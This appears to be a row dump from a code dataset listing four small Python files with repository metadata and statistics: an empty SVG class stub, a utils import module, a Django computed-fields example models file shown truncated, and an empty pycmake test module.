48f72897d206b579e2eecf844e1e17bde583f78d | 55 | py | Python | Image/SVG.py | olesmith/SmtC | dfae5097f02192b60aae05b9d02404fcfe893be3 | [
"CC0-1.0"
] | null | null | null | Image/SVG.py | olesmith/SmtC | dfae5097f02192b60aae05b9d02404fcfe893be3 | [
"CC0-1.0"
] | null | null | null | Image/SVG.py | olesmith/SmtC | dfae5097f02192b60aae05b9d02404fcfe893be3 | [
"CC0-1.0"
] | null | null | null |
class Image_SVG():
def Stmp(self):
return
| 11 | 19 | 0.563636 | 7 | 55 | 4.285714 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.327273 | 55 | 4 | 20 | 13.75 | 0.810811 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
5b2443337ac672c75f75d255c90eef6b4b2a27ef | 159 | py | Python | utils/__init__.py | nicolas-racchi/hpc2020-graphML | 7f0d8b7c18469e1c793c7097bd10a9e0322e75be | [
"Apache-2.0"
] | null | null | null | utils/__init__.py | nicolas-racchi/hpc2020-graphML | 7f0d8b7c18469e1c793c7097bd10a9e0322e75be | [
"Apache-2.0"
] | null | null | null | utils/__init__.py | nicolas-racchi/hpc2020-graphML | 7f0d8b7c18469e1c793c7097bd10a9e0322e75be | [
"Apache-2.0"
] | null | null | null | from .load_data import load_data
from .preprocess import preprocess_data
from .tools import subsample, load_for_jupyter, load_for_jupyter_raw, smart_preprocess | 53 | 86 | 0.874214 | 24 | 159 | 5.416667 | 0.458333 | 0.123077 | 0.215385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08805 | 159 | 3 | 86 | 53 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
d2949cb2699a3e31487d9b351e128a52114b97a3 | 2,337 | py | Python | example/exampleapp/models.py | hwalinga/django-computedfields | 16a340d9cc96e74666542f4d4c68c8a432b598b8 | [
"MIT"
] | 66 | 2018-05-18T06:45:11.000Z | 2022-02-03T16:22:59.000Z | example/exampleapp/models.py | hwalinga/django-computedfields | 16a340d9cc96e74666542f4d4c68c8a432b598b8 | [
"MIT"
] | 100 | 2018-03-28T14:14:28.000Z | 2022-03-29T03:31:52.000Z | example/exampleapp/models.py | hwalinga/django-computedfields | 16a340d9cc96e74666542f4d4c68c8a432b598b8 | [
"MIT"
] | 7 | 2020-02-08T23:45:53.000Z | 2022-03-27T02:30:55.000Z | from django.db import models
from computedfields.models import ComputedFieldsModel, computed
class Foo(ComputedFieldsModel):
name = models.CharField(max_length=32)
@computed(models.CharField(max_length=32), depends=[['bar_set.baz_set', ['name']]])
def bazzes(self):
return ', '.join(Baz.objects.fi... | 30.75 | 98 | 0.632007 | 296 | 2,337 | 4.858108 | 0.165541 | 0.156467 | 0.187761 | 0.250348 | 0.621697 | 0.621697 | 0.621697 | 0.436718 | 0.372045 | 0.178025 | 0 | 0.031579 | 0.186992 | 2,337 | 75 | 99 | 31.16 | 0.725263 | 0 | 0 | 0.188679 | 0 | 0 | 0.051348 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.264151 | false | 0 | 0.037736 | 0.264151 | 0.773585 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
828576b1da226261e1ac0a41494c23beab94d570 | 131 | py | Python | tests/test_pycmake.py | scopatz/PyCMake | 1c047f420a222300b0d1820bea5e5e6e5127c759 | [
"MIT"
] | 1 | 2018-11-30T14:41:50.000Z | 2018-11-30T14:41:50.000Z | tests/test_pycmake.py | scopatz/PyCMake | 1c047f420a222300b0d1820bea5e5e6e5127c759 | [
"MIT"
] | null | null | null | tests/test_pycmake.py | scopatz/PyCMake | 1c047f420a222300b0d1820bea5e5e6e5127c759 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""test_pycmake
----------------------------------
Tests for `pycmake` module.
"""
| 14.555556 | 34 | 0.442748 | 13 | 131 | 4.384615 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008696 | 0.122137 | 131 | 8 | 35 | 16.375 | 0.486957 | 0.908397 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.